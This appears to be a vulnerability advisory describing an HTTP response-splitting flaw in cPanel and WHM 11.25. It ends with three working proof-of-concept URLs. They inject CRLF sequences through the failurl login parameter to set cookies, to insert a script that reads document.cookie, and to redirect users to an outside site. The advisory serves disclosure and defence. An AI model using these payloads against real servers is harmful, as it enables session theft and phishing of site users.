source: https://www.securityfocus.com/bid/37902/info

cPanel and WHM is prone to an HTTP response-splitting vulnerability.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.

cPanel 11.25 and WHM 11.25 are vulnerable; other versions may also be affected.

http://www.example.com/login/?user=foo&pass=bar&failurl=%0D%0ASet-Cookie%3A%20Rec=Sec
http://www.example.com/login/?user=foo&pass=bar&failurl=%0D%0AContent-Type:%20text/html%0D%0A%0D%0A%3Cscript%3Ealert%28%22Recognize-Security%20-%20%22%2Bdocument.cookie%29;%3C/script%3E%3C!--
http://www.example.com/login/?user=foo&pass=bar&failurl=http://www.rec-sec.com